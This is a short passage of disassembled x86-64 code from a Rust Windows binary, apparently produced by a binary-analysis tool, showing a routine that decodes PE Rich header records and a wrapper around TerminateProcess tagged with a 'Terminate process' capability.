jb 0x14001939e
mov ebp, dword [rsi + 0x10]
mov r15, qword [rsi]
lea rsi, sym._ZN4core3ptr55drop_in_place_LT_pelite..rich_structure..RichRecord_GT_17h6707ab43114a8d54E.llvm.9664944894006809541
lea rdi, [rsp + 0x28]
lea rbx, [rsp + 0x20]
nop word [rax + rax]
mov eax, dword [r15]
xor eax, ebp
movzx ecx, ax
and eax, 0xffff0000
mov edx, dword [r15 + 4]
xor edx, ebp
shl rdx, 0x20
or rax, rdx
or rcx, rax
add r14, 0xfffffffffffffffe
mov qword [rsp + 0x20], rcx
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call sym.core::fmt::builders::DebugSet::entry::h81fb8ea589ff478a
add r15, 8
cmp r14, 1
ja 0x140019360
lea rcx, [rsp + 0x28]
call sym.core::fmt::builders::DebugList::finish::h771ee0ef0966e46c
nop
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret

Function at 0x14001e130
Capabilities:
Terminate process

Disassembly:
push rsi
sub rsp, 0x20
mov rsi, rcx
mov rcx, qword [rdx]
mov edx, r8d
call sub.KERNEL32.dll_TerminateProcess
mov ecx, 4
test eax, eax
jne 0x14001e15f
call sym.std::sys::windows::os::errno::h92e81c83b4bbfeb7
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
xor ecx, ecx
mov qword [rsi], rcx
mov rax, rsi
add rsp, 0x20
pop rsi
ret